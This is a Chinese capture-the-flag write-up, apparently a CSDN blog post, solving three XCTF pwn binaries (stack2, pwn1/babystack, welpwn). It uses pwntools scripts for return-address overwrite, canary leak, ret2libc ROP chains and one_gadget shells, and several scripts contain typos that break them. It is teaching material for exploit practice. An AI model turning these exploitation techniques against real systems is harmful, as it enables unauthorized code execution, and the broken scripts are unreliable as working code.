xctf-pwn-“stack2 & pwn1 & welpwn”

stack2

首先探测一番,是32位,看下保护!
在这里插入图片描述
ida静态分析一番!
在这里插入图片描述
还有个后门函数:
在这里插入图片描述
原先先要使用这个后门函数,但是发现远程服务器是没有bash的,所以这个后门函数是没有用的,误导我等!
不过还是先按正常思路来说,这第三个函数是没有检查数据的合法性的。
在这里插入图片描述
此时就需要找到真正的偏移量。
在这里插入图片描述
在这里插入图片描述

from pwn import *
#context.log_level = 'debug'
#r = remote()
r = process("./stack2")

system_bin = 0x08048598
lea = 0x84

def change_flag(add,v):
	r.sendline('3')
	r.recv()
	r.sendline(str(addr))
	r.recv()
	r.sendline(str(v))
	r.recv()

r.recv()
r.sendline('1')
r.recv()
r.sendline('1')

change_flag(lea,0x9b)
change_flag(lea+1,0x85)
change_flag(lea+2,0x04)
change_flag(lea+3,0x08)
r.sendlien('5')
r.interactive()

本地可以执行,但是远程就不可以执行了,因为远程里面没有bash,但是有sh,所以我们可以构造含sh的ROP,这是就需要进行换一种方法了。直接去读取system函数。

from pwn import *
#context.log_level = 'debug'
r = remote()
#r = process("./stack2")

system_bin = 0x08048450
bin_sh = 0x08048987
lea = 0x84

def change_flag(add,v):
	r.sendline('3')
	r.recv()
	r.sendline(str(addr))
	r.recv()
	r.sendline(str(v))
	r.recv()

r.recv()
r.sendline('1')
r.recv()
r.sendline('1')

change_flag(lea,0x50)#system函数
change_flag(lea+1,0x84)
change_flag(lea+2,0x04)
change_flag(lea+3,0x08)

change_flag(lea+8,0x07)#sh字符串
change_flag(lea+9,0x89)
change_flag(lea+10,0x04)
change_flag(lea+11,0x08)

r.sendlien('5')
r.interactive()

在这里插入图片描述


pwn1

这道题给出了动态链接库libc-2.23.so,漏洞也不复杂。
在这里插入图片描述
再看一下检查!
在这里插入图片描述
此时有个canary,所以我们必须想办法得到canary的值,爆破不行,但是有个puts函数,此时我们便可以使用\n来讲字符串的最后标志位\x00给覆盖掉,这样canary的值就被泄露出来了。
在这里插入图片描述
在x64下通常参数从左到右依次放在rdi, rsi, rdx, rcx, r8, r9,多出来的参
数才会入栈(根据调用约定的方式可能有不同,通常是这样)
因此我们找到了pop rdi;ret
在这里插入图片描述
此时发现system("/bin/sh")这种方式是不行的,所以可以使用one_gadget这中方式进行
在这里插入图片描述

from pwn import *
#context.log_level = 'debug'
r = remote('111.200.241.244',50868)
#r = process('./babystack')
elf = ELF('./libc-2.23.so')
e = ELF('./babystack')

system_addr = elf.symbols['systme']
binsh_addr = elf.search("/bin/sh").__next__()#新版本的python语法
#pythpn更新了许多内容,有许多语法都不一样了,这点在pwn题目中遇到的情况比较多,经常容易报错,而我使用的也是比较新的版本
puts_plt = e.plt['puts']
puts_got = e.got['puts']
puts_libc = e.symbols['puts']

main_addr = 0x0400908#main函数地址
poprdi_addr = 0x0400a93#pop rdi | ret

def send(s):#发送数据
	r.recv()
	r.sendline('1')
	r.sendline(s)
def show():#打印数据
	r.recv()
	r.sendline('2')
def exit():#退出main函数
	r.recv()
	r.sendline('3')

payload = b'a'*0x88
send(payload)
show()
r.recvuntil('\n')
canary = u64(r.recv(7).rjust(8,b'\x00'))#泄露canary值
print(canary)
print('======================================================')#分界线
payload = b'a'*0x88+p64(canary)+b'a'*8+p64(poprdi_addr)+p64(puts_gpt)+p64(puts_plt)
send(payload)
exit()#退出main函数,因为main中没有调用其它函数,所以没有ret指令,但是main也是个函数,所以退出main函数时也会有ret指令
puts_addr = u64(r.recv(6).ljust(8,b'\x00'))#真实puts函数地址
offest = puts_addr - puts_libc
system_real = systme_addr + offest
binsh_real = binsh_addr + offest

payload = b'a'*0x88+p64(canary)+b'a'*8+p64(poprdi_addr)+p64(binsh_real)+p64(systme_addr)+p64(0)#shellcode
send(payload)
eixt()
r.interactive()#进行交互

上述脚本为使用system函数得到权限,但是无法得到,所以使用One_gadget

在这里插入图片描述
执行该脚本:
在这里插入图片描述


welpwn

在这里插入图片描述
在这里插入图片描述
此时我们可以探测一番保护措施!
在这里插入图片描述
此时只需要溢出0x20字节即可到达eip地址,此时就可以利用该漏洞进行利用!但是该程序中并没有后门函数,但却有puts函数,可以泄露出libc地址,此时我们就可以利用libc里面的函数进行利用了。我们可以使用LibcSearcher库得到libc,也可以使用DynELF函数得到libc地址.
但是有个关键地方,就是复制函数是利用for循环达到复制的,所以构造的payload里面是不允许有\x00的
在这里插入图片描述
我们就可以利用该指令构造ROP链。
在这里插入图片描述
这时就回到了我们原先的问题,我们的payload是不允许有\x00的,所以我们得更新payload了。
但是我们在ROPgadget链里面发现了一个破局关键!

Gadgets information
============================================================
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008a3 : pop rdi ; ret

可以发现有一个地址pop了4次,此时我们就可以利用该地址进行构造!栈结构如下:

低地址
a*8     <-esp
a*8
a*8     <-ebp
pop_pop_pop_pop_ret   <-eip
a*8      //上面的数据为复制的内容
a*8
a*8		 //四次pop一次ret,发现正好ret到ROP链上
pop_pop_pop_pop_ret
ROP链	 //ret到这里
高地址

此时我们就可以进行构造出ROP了。
在这里插入图片描述
可以开始写脚本了。
在这里插入图片描述
注意:选择libc库时选择ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
而且脚本的运行环境应该是LibcSearcher的根目录,否则脚本无法寻找到LibcSearcher函数。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值